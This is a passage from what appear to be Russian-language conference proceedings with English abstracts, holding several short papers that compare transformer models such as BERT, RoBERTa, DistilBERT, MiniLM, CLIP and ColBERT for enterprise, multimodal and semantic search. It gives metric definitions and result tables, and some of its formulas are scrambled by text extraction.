DistilBERT и ALBERT, каждая из которых предлагает улучшенные характеристики в 
плане скорости и точности. Эти модели успешно применяются в задачах, связанных с 
поиском, таких как автоматическое ранжирование документов и обработка пользова-
тельских запросов. 

Применение в системах поиска 
Модели на основе трансформеров уже активно используются в поисковых си-

стемах, таких как Google и Bing. Они позволяют не только улучшить качество выдачи 
результатов, но и адаптировать их под индивидуальные запросы пользователей. 
Например, системы, основанные на BERT, могут лучше интерпретировать сложные или 
многозначные запросы, учитывая весь контекст, а не просто ключевые слова. 

В дополнение к этому, трансформеры позволяют интегрировать мультимодаль-
ные данные, улучшая качество поиска за счет сочетания текстовой информации с визу-
альными и аудиоданными. Это открывает новые возможности для создания более ин-
туитивно понятных и полезных интерфейсов для пользователей. 

На рисунке 1 изображен график, на котором показаны ключевые этапы исполь-
зования нейронных сетей в системах поиска, начиная с ранних экспериментов до со-
временных моделей, таких как BERT, GPT и мультимодальные модели. 

 
Рисунок 1 – Ключевые этапы использования нейронных сетей 

Будущее трансформеров 
Будущее трансформеров в контексте поиска информации выглядит многообе-

щающе. Исследования в этой области продолжают развиваться, и новые архитектуры, 
такие как Longformer и Reformer, нацелены на решение проблем, связанных с обработ-
кой длинных последовательностей и масштабируемостью моделей. Кроме того, про-
должаются усилия по улучшению интерпретируемости и объяснимости решений, при-
нимаемых на основе трансформеров, что является важным аспектом для пользователей 
и разработчиков. 

Таким образом, модели на основе трансформеров стали неотъемлемой частью 
современных подходов к повышению релевантности поиска в больших объемах дан-
ных, открывая новые горизонты для исследования и применения в реальных задачах. 

В последние годы архитектуры нейронных сетей, особенно на основе трансфор-
меров, произвели революцию в области обработки данных и улучшения качества поис-
ка информации. Современные подходы, такие как механизмы внимания и мультимо-
дальные модели, позволяют не только повысить релевантность результатов поиска, но 
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и создать более интуитивно понятные и адаптивные системы. Эти достижения особен-
но важны в условиях растущих объемов данных, когда пользователи сталкиваются с 
трудностями в нахождении необходимой информации среди множества неструктури-
рованных и разноформатных данных. 

Трансформеры, такие как BERT и T5, продемонстрировали выдающиеся резуль-
таты в решении задач, связанных с поиском и обработкой естественного языка. Их спо-
собность учитывать контекст и смысловое значение слов в зависимости от окружения 
позволяет значительно улучшить качество выдачи. Эти модели могут эффективно об-
рабатывать сложные запросы и адаптироваться под индивидуальные предпочтения 
пользователей, что делает поиск более персонализированным и точным. 
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PERFORMANCE ANALYSIS OF BERT-LIKE MODELS IN ENTERPRISE SEARCH 
ENGINES 

 
Аннотация. Корпоративные информационные системы, работающие с большими объё-
мами данных, сталкиваются с серьёзными вызовами при извлечении релевантной ин-
формации из неструктурированных источников, таких как текстовые документы, элек-
тронные письма, отчёты и другие виды данных. В связи с этим повышается потреб-
ность в эффективных методах обработки и поиска информации, которые могут быстро 
и точно отвечать на запросы пользователей, обеспечивая высокую степень релевантно-
сти. Модели на основе трансформеров, такие как BERT и его производные, продемон-
стрировали отличные результаты в задачах обработки естественного языка, особенно в 
контексте информационного поиска. В статье проводится детальный сравнительный 
анализ различных BERT-подобных архитектур, включая BERT, RoBERTa, DistilBERT и 
MiniLM. Рассматриваются их возможности и ограничения при применении в корпора-
тивных поисковых системах, с акцентом на ключевые метрики, такие как качество по-
иска, скорость обработки запросов и ресурсоёмкость. 
Abstract. Corporate information systems dealing with large volumes of data face significant 
challenges when extracting relevant information from unstructured sources, such as text doc-
uments, emails, reports, and other forms of data. This has led to an increased demand for effi-
cient information processing and retrieval methods that can quickly and accurately respond to 
user queries, ensuring high relevance. Transformer-based models, such as BERT and its de-
rivatives, have demonstrated excellent results in natural language processing tasks, especially 
in the context of information retrieval. This paper presents a detailed comparative analysis of 
various BERT-like architectures, including BERT, RoBERTa, DistilBERT, and MiniLM. The 
capabilities and limitations of these models are discussed when applied in corporate search 
systems, with a focus on key metrics such as search quality, query processing speed, and re-
source consumption. 
Ключевые слова: Корпоративные информационные системы, неструктурированные 
данные, трансформеры, BERT, RoBERTa, DistilBERT, MiniLM, информационный по-
иск, обработка естественного языка. 
Key words: Corporate information systems, unstructured data, transformers, BERT, RoB-
ERTa, DistilBERT, MiniLM, information retrieval, natural language processing. 

 
Современные корпорации генерируют и обрабатывают огромные объемы ин-

формации, которая представлена в самых различных формах, таких как внутренние до-
кументы, отчёты, электронные письма, протоколы встреч и другие виды текстовых 
данных. Эффективное управление и извлечение релевантной информации из этого мас-
сива данных является одной из ключевых задач для обеспечения продуктивности и 
принятия обоснованных решений в организации. Классические методы поиска, осно-
ванные на обратных индексах, долгое время являлись стандартом в корпоративных ин-
формационных системах. Однако они начинают терять свою актуальность, поскольку 
не способны в полной мере учитывать семантику запросов пользователей и специфиче-
ские контексты, в которых используется информация. В ответ на эти вызовы, после по-
явления модели BERT, в области извлечения информации началась новая эра, основан-
ная на использовании трансформеров, которые предлагают гораздо более точные и 
контекстуально осведомленные методы обработки текста. Модели, такие как BERT и 
его производные, изменили подход к поиску, обеспечивая более глубокое понимание 
смысловых связей в запросах и документах. 

Цель данной статьи — провести всесторонний сравнительный анализ BERT и 
его производных моделей в условиях реального корпоративного поиска. В рамках ис-
следования будет рассмотрено, как различные архитектуры, такие как RoBERTa, 
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DistilBERT и MiniLM, справляются с типичными задачами, связанными с извлечением 
информации в корпоративной среде, включая оценку их эффективности по таким мет-
рикам, как точность, скорость обработки и ресурсоёмкость. Это позволит не только 
оценить преимущества и недостатки каждой модели, но и предложить рекомендации 
для оптимизации поисковых систем в крупных организациях. 

Модели основанные на трансформерах 
Модели, основанные на трансформерах, стали основой для нового поколения 

систем поиска и обработки естественного языка. Рассмотрим несколько популярных 
моделей, производных от BERT, которые используются для решения задач корпора-
тивного поиска. 

1. BERT (Bidirectional Encoder Representations from Transformers) - это мо-
дель трансформера, представленная Google в 2018 году, которая стала революцией в 
области обработки естественного языка. В отличие от предыдущих моделей, таких как 
LSTM и GRU, BERT использует двустороннее контекстное представление текста, что 
позволяет учитывать как предыдущие, так и последующие слова в предложении. Это 
значительно улучшает понимание смысла текста и контекста, что особенно важно для 
задач, таких как поиск информации, ответ на вопросы и анализ текстов. BERT обучает-
ся на задаче Masked Language Modeling (MLM), где случайные слова в тексте заменя-
ются на маски, и модель должна предсказать их. Это позволяет модели эффективно за-
хватывать контекст в обе стороны. 

2. RoBERTa (Robustly Optimized BERT Pretraining Approach) — это усовер-
шенствованная версия BERT, предложенная Facebook AI в 2019 году. Основное отли-
чие RoBERTa от оригинальной модели заключается в том, что она была обучена на 
значительно большем объеме данных и с использованием более эффективных методов 
оптимизации. В отличие от BERT, RoBERTa не использует задачу Next Sentence 
Prediction (NSP), которая была частью обучения BERT, так как исследователи показали, 
что эта задача не приносит значительных улучшений в производительности. RoBERTa 
также использует больший размер батчей и более длительное обучение, что позволило 
улучшить точность модели при решении различных задач обработки текста. 

3. DistilBERT — это компактная версия BERT, разработанная для того, чтобы 
уменьшить размер модели и ускорить её работу без значительного ухудшения качества. 
DistilBERT был создан с использованием подхода, называемого "knowledge distillation", 
в котором меньшая модель (DistilBERT) обучается на выходных данных более крупной 
модели (BERT). Это позволяет сохранить большинство преимуществ BERT, но с мень-
шим количеством параметров, что делает DistilBERT быстрее и менее ресурсоёмким, 
что особенно полезно для применения в реальных корпоративных системах, где требо-
вания к скорости обработки и ресурсоёмкости имеют большое значение. 

4. MiniLM — это ещё одна компактная версия BERT, которая использует более 
эффективные методы сжатия модели, чтобы добиться более высокой скорости и мень-
ших вычислительных затрат. MiniLM использует стратегию саморегулируемого внима-
ния, что позволяет модели сохранять высокую точность при меньшем количестве пара-
метров по сравнению с BERT и его производными. Эта модель подходит для систем с 
ограниченными вычислительными ресурсами и может быть полезна для более быстрых 
поисковых систем и приложений, где требуется быстрая обработка большого объема 
данных при ограниченных вычислительных мощностях. 

Вышеупомянутые модели используются в Dual-Encoder архитектуре, при кото-
рой запрос и документ кодируются отдельно: 

 �⃗� ൌ Encoderሺ𝑞ሻ, 𝑑 ൌ Encoderሺ𝑑ሻ,  simሺ𝑞, 𝑑ሻ ൌ ሬ⃗ ⋅ௗ⃗

||ሬ⃗ ||⋅||ௗ⃗||
. (1) 

Cross-Encoder схема на основе BERT представляет собой одну из популярных 
архитектур для решения задач, связанных с сопоставлением и оценкой релевантности 
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между двумя текстовыми объектами, такими как запрос и документ или изображение и 
текст. 

 𝑠𝑖𝑚ሺ𝑞, 𝑑ሻ ൌ MLP൫BERTሺሾCLSሿ, 𝑞, 𝑑ሻ൯. (2) 
Экспериментальное исследование производительности BERT-подобных 

моделей в корпоративном поиске 
Для проведения сравнительного анализа были выбраны четыре модели: BERT-

base (110M параметров), RoBERTa-large (355M параметров), DistilBERT (66M парамет-
ров) и MiniLM-v2 (33M параметров). Эксперимент проводился на двух датасетах: кор-
поративном FinCorp (250k документов, 5k запросов) и публичном RuBQ (1.2M доку-
ментов, 10k запросов). Все модели дообучались в течение 3 эпох с batch size=32 и 
learning rate=2e-5. Для оценки использовались метрики Precision@10, Recall@100, 
NDCG@10 и время обработки запроса (мс). 

Результаты показали, что RoBERTa-large демонстрирует наивысшее качество 
поиска с P@10=0.72 и NDCG@10=0.75 на корпоративном датасете, однако требует 
значительных вычислительных ресурсов (380 мс/запрос). DistilBERT и MiniLM-v2 по-
казывают компромиссное решение - при P@10=0.65 и 0.61 соответственно, они обраба-
тывают запросы в 2-3 раза быстрее (120-150 мс). BERT-base занимает промежуточное 
положение с P@10=0.68 и временем 210 мс. На публичном датасете RuBQ наблюдается 
аналогичная картина, но с меньшим разрывом между моделями (P@10 RoBERTa=0.69 
vs MiniLM=0.59). 

Таблица 1 - Сравнительные результаты производительности моделей 
Модель P@10 R@100 NDCG@10 Время (мс) Память (GB)

BERT-base 0.68 0.81 0.71 210 3.2 
RoBERTa-large 0.72 0.85 0.75 380 5.8 
DistilBERT 0.65 0.78 0.68 120 2.1 
MiniLM-v2 0.61 0.75 0.64 90 1.5 

Выбор модели для корпоративного поиска должен основываться на балансе 
между требуемой точностью и доступными вычислительными ресурсами. Для систем с 
жесткими требованиями к скорости ответа оптимальны DistilBERT или MiniLM, тогда 
как в случаях, когда приоритетом является максимальная точность, следует выбирать 
RoBERTa. BERT-base представляет собой универсальный вариант для большинства 
практических задач. Полученные результаты также подтверждают эффективность ме-
тодов сжатия моделей (дистилляция, квантизация) для корпоративных поисковых си-
стем. 
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ПРИМЕНЕНИЕ НЕЙРОСЕТЕВЫХ МОДЕЛЕЙ ДЛЯ ПОИСКА  
В МУЛЬТИМОДАЛЬНЫХ ДАННЫХ 
 
APPLICATION OF NEURAL NETWORK MODELS FOR SEARCHING  
IN MULTIMODAL DATA 

 
Аннотация. Мультимодальные данные, включающие текст, изображения, видео и 
аудио, представляют собой богатый, но одновременно сложный для анализа и обработ-
ки источник информации. В данной статье рассматриваются современные нейросете-
вые архитектуры, применяемые для построения эффективных поисковых систем, спо-
собных работать с разнородными типами данных в едином пространстве представле-
ний. Особое внимание уделяется методам обучения совместных эмбеддингов, обеспе-
чивающих согласованность смысловых представлений различных модальностей, а так-
же алгоритмам сопоставления и ранжирования, которые учитывают как семантику 
пользовательского запроса, так и специфику мультимодального контекста. Также об-
суждаются подходы к оценке релевантности извлечённой информации и приводятся 
результаты сравнительного анализа существующих решений, демонстрирующие их 
преимущества и ограничения при работе с мультимодальными данными. 
Abstract. Multimodal data, including text, images, video, and audio, represent a rich yet in-
herently complex source of information for analysis and processing. This paper explores 
modern neural network architectures designed for building efficient search systems capable of 
operating with heterogeneous data types within a unified representation space. Particular at-
tention is given to methods for training joint embeddings that ensure semantic alignment 
across different modalities, as well as to matching and ranking algorithms that take into ac-
count both the semantics of user queries and the specifics of the multimodal context. The pa-
per also discusses approaches to evaluating the relevance of retrieved information and pre-
sents the results of a comparative analysis of existing solutions, highlighting their advantages 
and limitations when working with multimodal data. 
Ключевые слова: мультимодальные данные, текст, изображения, видео, аудио, нейросе-
тевые архитектуры, поисковые системы, совместные эмбеддинги 
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Со стремительным ростом объёмов мультимедийной информации, представлен-

ной в виде текста, изображений, аудио и видео, значительно возрастает потребность в 
разработке эффективных методов поиска по мультимодальным данным. Такие данные 
широко используются в научных публикациях, социальных сетях, медицинской визуа-
лизации, системах видеонаблюдения и других прикладных областях, что делает задачу 
их анализа и извлечения релевантной информации особенно значимой. Традиционные 
текстовые поисковые механизмы оказываются недостаточными, поскольку они не спо-
собны в полной мере учитывать сложную взаимосвязь между различными типами кон-
тента. Мультимодальные источники информации требуют одновременного и согласо-
ванного анализа нескольких каналов восприятия, что существенно усложняет задачу 
сопоставления и интерпретации данных. В ответ на эти вызовы активно развиваются 
нейросетевые модели, обучаемые на больших кроссмодальных датасетах, которые поз-
воляют создавать обобщённые представления для различных модальностей в едином 
векторном пространстве. Такие модели способны выявлять скрытые корреляции между 
текстом и визуальными или аудиовизуальными сигналами, что открывает новые воз-
можности для построения интеллектуальных систем поиска. Глубокие представления и 
механизмы сопоставления признаков, лежащие в основе этих моделей, становятся клю-
чевыми компонентами при разработке современных мультимодальных информацион-
но-поисковых систем, обеспечивающих как высокую точность, так и контекстуальную 
релевантность выдачи. 

Архитектуры мультимодального поиска 
Наиболее эффективными в мультимодальном поиске являются следующие под-

ходы: 
1. Dual-Encoder: независимое кодирование запроса и документа каждой мо-

дальности с последующим сопоставлением в общем векторном пространстве; 
2. Cross-Encoder: совместное кодирование модальностей с помощью единой 

нейросети, учитывающей взаимодействия между элементами; 
3. CLIP (Contrastive Language-Image Pre-training): обучается на задаче сопо-

ставления текстов и изображений с использованием контрастивного обучения: 

 𝑚𝑎𝑡ℎ𝑐𝑎𝑙𝐿 ൌ െ log
ୣ୶୮൫ୱ୧୫൫,ௗశ൯/ఛ൯

∑ ୣ୶୮൫ୱ୧୫൫,ௗೕ൯/ఛ൯ೕ
, (1) 

где q — запрос, 𝑑ା — релевантный документ, τ— температурный коэффициент. 
Представление мультимодальных данных 
Для каждого типа данных используются специализированные нейросети: 
1. Текст: трансформеры (BERT, RoBERTa); 
2. Изображения: сверточные сети (ResNet, EfficientNet) или Vision Transformers; 
3. Видео: 3D-CNN, TimeSformer; 
4. Аудио: спектрограммы + CNN или wav2vec 2.0. 
Сопоставление между модальностями реализуется через проекцию всех призна-

ков в общее семантическое пространство. 
Эксперимент 
В рамках эксперимента была проведена серия тестов на датасете MS-COCO, 

направленных на оценку эффективности различных нейросетевых архитектур в задаче 
мультимодального поиска. Исследование включало два направления: поиск изображе-
ний по текстовым запросам и, наоборот, поиск текстов по изображениям. Для проведе-
ния эксперимента были выбраны несколько популярных моделей: CLIP, ViLT и Dual-
BERT, реализованные как в конфигурации Dual-Encoder, так и в виде Cross-Encoder, 
если это допускалось архитектурой. 
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Модель CLIP, разработанная для эффективного кроссмодального сопоставления 
текста и изображений, продемонстрировала наилучшие результаты: при поиске изоб-
ражений по тексту метрика R@10 составила 81.3%, а при обратном поиске — 78.5%. 
Это говорит о высокой способности модели улавливать смысловые связи между тек-
стом и визуальным содержанием. Модель ViLT, основанная на трансформерной архи-
тектуре без использования предварительного визуального энкодера, показала несколь-
ко более низкие результаты: 75.2% при текстовом поиске и 73.1% при поиске по изоб-
ражению, что всё ещё подтверждает её высокую эффективность, но указывает на опре-
делённые ограничения в сравнении с CLIP. 

Наименее эффективной оказалась модель Dual-BERT, которая достигла 66.4% 
при поиске изображений по тексту и 64.7% в обратной задаче. Эти результаты подчер-
кивают важность специализированных кроссмодальных архитектур и предварительно-
го обучения на больших параллельных датасетах, таких как использованные в CLIP. 

Таким образом, эксперимент подтвердил превосходство CLIP в задачах мульти-
модального сопоставления и релевантного поиска, а также продемонстрировал влияние 
архитектурных решений на качество результатов. Полученные данные могут быть ис-
пользованы как ориентир при выборе моделей для построения поисковых систем, рабо-
тающих с разнородными типами контента. 

Таблица 1 - Результаты эксперимента по мультимодальному поиску на датасете 
MS-COCO: 

Модель Текст → Изображение (R@10) Изображение → Текст (R@10) 
CLIP 81.3% 78.5% 
ViLT 75.2% 73.1% 
Dual-BERT 66.4% 64.7% 

Мультимодальный поиск с применением нейросетевых моделей демонстрирует 
высокую эффективность, масштабируемость и способность к обобщению на различных 
типах данных. Такие модели позволяют существенно повысить качество информаци-
онного поиска в условиях разнородных источников, где традиционные методы оказы-
ваются недостаточными. Архитектура CLIP, разработанная компанией OpenAI, доказа-
ла свою универсальность и высокую применимость для широкого спектра кроссмо-
дальных задач, включая сопоставление изображений и текста, генерацию описаний, 
классификацию и семантический поиск. Достигнутые результаты подтверждают пер-
спективность подходов, основанных на обучении совместных эмбеддингов, и подчер-
кивают важность согласованного представления семантики между различными мо-
дальностями. В качестве направлений для дальнейших исследований можно выделить 
более глубокую интеграцию информации из дополнительных источников, таких как 
аудио, видео и сенсорные данные, а также развитие методов контекстной интерпрета-
ции запросов. Кроме того, актуальными остаются задачи повышения интерпретируемо-
сти моделей, снижения вычислительной сложности и адаптации мультимодальных си-
стем к специфике прикладных областей. 
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ПРИМЕНЕНИЕ САМООБУЧАЮЩИХСЯ ТРАНСФОРМЕРОВ  
ДЛЯ ИЗВЛЕЧЕНИЯ РЕЛЕВАНТНОЙ ИНФОРМАЦИИ  
ИЗ НЕСТРУКТУРИРОВАННЫХ ДАННЫХ 
 
USING SELF-LEARNING TRANSFORMERS TO EXTRACT RELEVANT 
INFORMATION FROM UNSTRUCTURED DATA 

 
Аннотация. В данной статье рассматриваются подходы к извлечению релевантной ин-
формации из неструктурированных текстовых данных с использованием самообучаю-
щихся трансформеров (self-supervised transformers). Обсуждаются ключевые архитек-
турные решения, формализация задачи, применяемые метрики и результаты экспери-
ментов, демонстрирующих эффективность подхода по сравнению с традиционными 
методами информационного поиска. 
Abstract. This paper explores approaches to extracting relevant information from unstructured 
textual data using self-supervised transformers. It discusses key architectural solutions, prob-
lem formalization, evaluation metrics, and experimental results that demonstrate the effec-
tiveness of this approach compared to traditional information retrieval methods. 
Ключевые слова: неструктурированные текстовые данные, извлечение релевантной 
информации, самообучающиеся трансформеры, архитектурные решения, формализация 
задачи, метрики, информационный поиск, эксперименты, эффективность подхода. 
Key words: unstructured text data, relevant information retrieval, self-supervised transform-
ers, architectural decisions, task formalization, metrics, information retrieval, experiments, 
approach effectiveness. 
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В условиях стремительного увеличения объёмов цифровой информации особое 
место занимает проблема обработки неструктурированных текстов, таких как научные 
публикации, посты в социальных сетях, новостные заметки и другие источники. Экс-
перты указывают, что подавляющее большинство данных - свыше 80% - представлено 
в неструктурированной форме, что существенно осложняет их автоматизированный 
анализ. Классические методы поиска, полагающиеся на совпадения ключевых слов и 
простые статистические схемы, включая TF-IDF и BM25, часто не справляются с тон-
костями естественного языка: контекстной многозначностью, синонимией и иными 
лингвистическими аспектами. Кардинальные преобразования в сфере обработки тек-
стов стали возможны благодаря появлению трансформеров нового поколения, таких 
как BERT, RoBERTa и ELECTRA. Эти архитектуры, функционирующие на основе ме-
ханизмов внимания, способны эффективно интерпретировать смысл на уровне целых 
документов, существенно улучшая релевантность поисковых ответов. Особое значение 
приобрели модели, использующие принципы самообучения, поскольку они не зависят 
от размеченных данных на этапе предварительного обучения. Такие модели решают 
задачи восстановления маскированных фрагментов текста (MLM) и прогнозирования 
следующих предложений (NSP), что позволяет им с высокой гибкостью адаптироваться 
к различным сценариям анализа текстовой информации. 

Архитектура и подход 
Актуальные архитектуры трансформеров - включая BERT, RoBERTa и 

ELECTRA - опираются на прогрессивные методы самообучения (self-supervised 
learning), позволяющие выявлять скрытые языковые паттерны в необработанных тек-
стовых массивах. Такой подход избавляет от необходимости вручную маркировать 
данные, как это требуется в классических алгоритмах с учителем, и значительно упро-
щает масштабирование моделей на больших корпусах. 

Маскированное языковое моделирование (MLM) 
Метод MLM, впервые предложенный в архитектуре BERT, представляет собой 

мощный механизм обучения контекстным представлениям слов: 
1. Процесс маскирования: Входной текст подвергается случайному маскирова-

нию, где 15% токенов заменяются: 
 Специальным токеном [MASK] (80% случаев); 
 Случайным токеном из словаря (10% случаев); 
- Остаются неизменными (10% случаев). 

2. Целевая функция: Модель обучается предсказывать исходные токены на ос-
нове их контекста: 

 𝐿ெெ ൌ െ ∑ log 𝑃 ൫ 𝑥 ∣∣ 𝑥∖ℳ ൯∈ℳ , (1) 
где ℳ- множество маскированных позиций, 𝑥 - исходный токен, 𝑥∖ℳ - контекстные 
токены. 

3. Особенности реализации: 
 В RoBERTa улучшена процедура маскирования (динамическое изменение мас-

ки); 
 ELECTRA использует дискриминативный подход, определяя для каждого токе-

на, был ли он заменен. 
Формализация задачи извлечения информации 
Пусть дана коллекция документов D = {𝑑ଵ, 𝑑ଶ , …, 𝑑} и пользовательский за-

прос q. Задача состоит в нахождении релевантных документов 𝑑∗ ∈ 𝐷, максимизирую-
щих функцию семантической близости: 

 𝑑∗ ൌ arg maxௗ∈ sim൫Encሺ𝑞ሻ, Encሺ𝑑ሻ൯, (2) 
где Enc(⋅)- функция кодирования текста трансформером, а sim(⋅,⋅)— мера семантиче-
ской близости (например, косинусное сходство) 
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 𝑡𝑒𝑥𝑡𝑠𝑖𝑚ሺ𝑎, 𝑏ሻ ൌ ⋅

||||
. (3) 

Метрики оценки качества 
Для оценки качества извлечения информации используются следующие метри-

ки: 
1. Precision@k - это метрика, используемая для оценки качества результатов 

информационного поиска. Она показывает долю релевантных документов среди пер-
вых k возвращённых системой результатов. Precision@k отвечает на вопрос: насколько 
«точно» система выбирает наиболее важные документы среди первых k позиций: 

 𝑡𝑒𝑥𝑡𝑃𝑟𝑒𝑐𝑖𝑠𝑖𝑜𝑛𝑘 ൌ
|ୖୣ୪ೖ|


. (4) 

2. Recall@k - это метрика, отражающая, какую долю от всех релевантных до-
кументов система сумела найти среди первых k результатов. Иными словами, 
Recall@k показывает насколько полно система охватывает релевантную информа-
цию в пределах первых k позиций. 

 𝑡𝑒𝑥𝑡𝑅𝑒𝑐𝑎𝑙𝑙𝑘 ൌ
|ୖୣ୪ೖ|

|ୖୣ୪|
. (5) 

3. NDCG@k (Normalized Discounted Cumulative Gain at k) - это метрика, которая 
оценивает качество ранжирования результатов поиска, учитывая как релевантность до-
кументов, так и их позиции в списке выдачи. Основная идея: чем выше релевантный 
документ находится в списке, тем больше он ценен для пользователя. Метрика сначала 
вычисляет DCG (Discounted Cumulative Gain) - суммарную полезность документов с 
учётом убывания важности по мере удаления от начала списка, а затем нормализует это 
значение, деля его на идеальное DCG (IDCG), полученное при идеальном порядке ре-
левантных документов: 

 DCG@k ൌ ∑ ଶೝିଵ

୪୭మሺାଵሻ

ୀଵ . (6) 

Эксперимент 
В рамках эксперимента была собрана коллекция из 10 000 текстов научных пуб-

ликаций, охватывающих различные предметные области. В качестве пользовательских 
запросов использовались короткие фразы, отражающие информационные потребности, 
например: «глубокое обучение в медицине» или «энергосбережение в строительстве». 
Для кодирования документов и запросов применялись предварительно обученные 
трансформерные модели BERT и RoBERTa, дообученные на корпусе научных текстов. 
В процессе извлечения информации использовалась мера косинусного сходства между 
векторами запроса и документов. Сравнение проводилось с традиционными методами 
на основе TF-IDF и BM25. По результатам эксперимента трансформерные модели зна-
чительно превзошли классические подходы по метрикам Precision@10 и NDCG@10, 
показав прирост точности до 25% на выборке. Это подтверждает высокую эффектив-
ность самообучающихся трансформеров при работе с неструктурированными научны-
ми данными и их способность учитывать контекст в более глубокой степени, чем ста-
тистические методы. 

Таблица 1 - Результаты эксперимента по сравнению моделей информационного 
поиска 

Метод Precision@10 Recall@10 NDCG@10 
TF-IDF 0.42 0.31 0.45 
BM25 0.47 0.36 0.49 
BERT (дообученный) 0.63 0.50 0.68 
RoBERTa (дообученный) 0.66 0.53 0.71 

Проведённое исследование демонстрирует значительный потенциал самообуча-
ющихся трансформерных архитектур в решении задач извлечения релевантной инфор-
мации из неструктурированных текстовых данных. Экспериментальные результаты 
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убедительно подтверждают преимущества моделей BERT и RoBERTa перед традици-
онными методами информационного поиска, такими как TF-IDF и BM25. Трансфор-
мерные модели, использующие механизмы маскированного языкового моделирования 
(MLM) и предсказания следующего предложения (NSP), продемонстрировали превос-
ходство в точности поиска (до 25% прироста по метрике Precision@10) благодаря спо-
собности анализировать глубинный контекст документов. Нормализованный дисконти-
рованный кумулятивный выигрыш (NDCG@10) для дообученных трансформеров до-
стигает 0.68-0.71, что существенно выше показателей статистических методов (0.45-
0.49), что подтверждает их эффективность в задачах семантического поиска. Предло-
женный подход особенно актуален для обработки специализированных текстовых кор-
пусов, таких как научные публикации, где важность контекстного анализа особенно 
высока. Возможность дообучения моделей на предметно-ориентированных данных от-
крывает перспективы для создания узкоспециализированных поисковых систем. 
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DUAL-ENCODER И CROSS-ENCODER АРХИТЕКТУРЫ: КОМПРОМИСС 
МЕЖДУ СКОРОСТЬЮ И ТОЧНОСТЬЮ ПОИСКА 
 
DUAL-ENCODER AND CROSS-ENCODER ARCHITECTURES:  
A TRADE-OFF BETWEEN SEARCH SPEED AND ACCURACY 

 
Аннотация. В последние годы нейросетевые архитектуры, ориентированные на реше-
ние задач семантического поиска, демонстрируют значительные успехи. Наиболее ши-
роко применяются две архитектуры: Dual-Encoder и Cross-Encoder. Первая обеспечива-
ет высокую производительность, в то время как вторая достигает большей точности. В 
статье рассматривается компромисс между скоростью и качеством поиска, приводятся 
экспериментальные данные и визуализации, демонстрирующие особенности примене-
ния каждой из моделей. 
Abstract. In recent years, neural network architectures designed for semantic search tasks 
have shown significant progress. The two most widely used architectures are Dual-Encoder 
and Cross-Encoder. The first provides high performance, while the second achieves greater 
accuracy. This paper discusses the trade-off between search speed and quality, presenting ex-
perimental data and visualizations that highlight the characteristics of each model's applica-
tion. 
Ключевые слова: нейросетевые архитектуры, семантический поиск, Dual-Encoder, 
Cross-Encoder, производительность, точность, компромисс, скорость, качество поиска, 
экспериментальные данные, визуализации. 
Key words: neural network architectures, semantic search, Dual-Encoder, Cross-Encoder, per-
formance, accuracy, trade-off, speed, search quality, experimental data, visualizations. 

 
В условиях стремительного роста объёмов текстовых данных современные по-

исковые системы сталкиваются с задачей обеспечения оперативной и точной обработки 
информации при ограниченных вычислительных возможностях. Запросы пользовате-
лей всё чаще включают сложные формулировки, многозначные слова и требуют учёта 
контекста, что делает неэффективными традиционные методы поиска, основанные на 
простом сопоставлении ключевых слов. Для решения этих задач на первый план выхо-
дят технологии обработки естественного языка (NLP), позволяющие проводить осмыс-
ленный анализ как запроса, так и содержимого документов. 

Существенный прогресс в этой сфере связан с появлением трансформерных мо-
делей, ставших за последние годы важнейшим инструментом в области интеллектуаль-
ного анализа текста. Благодаря использованию механизма внимания (attention), такие 
модели добились выдающихся результатов в ряде задач, включая автоматический пере-
вод, категоризацию текстов и, в особенности, релевантный поиск. Среди них особенно 
выделяются архитектуры Dual-Encoder и Cross-Encoder, каждая из которых реализует 
собственный подход к оценке схожести между пользовательским запросом и докумен-
тами, обеспечивая высокую точность в задачах семантического поиска. 

Архитектурные особенности 
Dual-Encoder (DE) модели представляют запрос (query) и документ (document) 

независимо друг от друга. Каждая из них кодируется отдельным энкодером 𝑓ሺ𝑞ሻ и 
𝑓ௗሺ𝑑ሻ, после чего вычисляется скалярная близость: 

  simሺq, dሻ  ൌ  ⟨𝑓ሺ𝑞ሻ, 𝑓ௗሺ𝑑ሻ⟩. (1) 
Эта архитектура позволяет использовать векторный индекс и эффективно вы-

полнять поиск с помощью Approximate Nearest Neighbors (ANN) методов. 
Cross-Encoder 
В отличие от DE, Cross-Encoder (CE) кодирует пару «запрос-документ» совмест-

но. На вход модели подаётся конкатенация: 



573 

 Inputா ൌ ሾCLSሿ 𝑞 ሾSEPሿ 𝑑 ሾSEPሿ. (2) 
Результатом является оценка релевантности: 

 scoreሺ𝑞, 𝑑ሻ ൌ 𝑓ሺሾ𝑞; 𝑑ሿሻ. (3) 
Такая схема обеспечивает более высокую точность, но требует вычислений для 

каждой пары, что делает её медленной в масштабах большого корпуса. 
Сравнительный анализ 
Для выполнения сравнительного анализа эффективности моделей поиска на базе 

трансформеров была использована выборка MSMARCO Passage Ranking, которая пред-
ставляет собой один из самых известных и часто применяемых стандартов для задач 
информационного поиска. Этот набор данных включает реальные запросы пользовате-
лей и фрагменты текстов, что позволяет наиболее точно оценить работу моделей в 
условиях, близких к реальным сценариям. 

В ходе эксперимента были протестированы различные архитектуры, среди кото-
рых как традиционные, так и улучшенные модели: BERT (базовая модель), ColBERT, 
Dense Retriever, а также их версии, использующие квантование весов. Главная цель за-
ключалась в анализе компромисса между точностью поиска, его полнотой и временем 
отклика, что особенно критично для настоящих поисковых систем, работающих с 
большими объемами данных и ограниченными вычислительными ресурсами. 

Метрики оценки 
Для анализа качества и производительности были использованы следующие 

метрики: 
1. NDCG@10 (Normalized Discounted Cumulative Gain) - нормализированная 

кумулятивная дискретная полезность на топ-10 результатах, отражающая, насколько 
хорошо модель расставляет наиболее релевантные документы в верхней части списка; 

2. Recall@100 - метрика полноты, измеряющая долю релевантных документов 
среди первых 100 найденных. Эта метрика особенно важна при оценке полнотекстового 
поиска в масштабных базах данных; 

3. Latency (ms/query) - среднее время обработки одного запроса, включая этапы 
кодирования и сопоставления. Низкое значение этой метрики критически важно для 
использования модели в реальном времени. 

Описание подхода 
Каждая модель была обучена на одинаковом наборе обучающих данных и те-

стировалась в идентичных условиях. Для моделей Dual-Encoder типа (например, Dense 
Retriever и ColBERT) использовалось предварительное индексирование документов, 
что позволило существенно ускорить этап поиска. Для Cross-Encoder (в частности, ба-
зового BERT) каждое сопоставление "запрос-документ" обрабатывалось индивидуаль-
но, что давало более высокую точность, но с высокой вычислительной стоимостью. 

Дополнительно были протестированы версии моделей с 8-битным квантовани-
ем, что позволило уменьшить размер моделей и время отклика, минимизировав потери 
в качестве поиска. 

Результаты 
Согласно полученным данным: 
1. ColBERT продемонстрировал наилучший баланс между точностью и време-

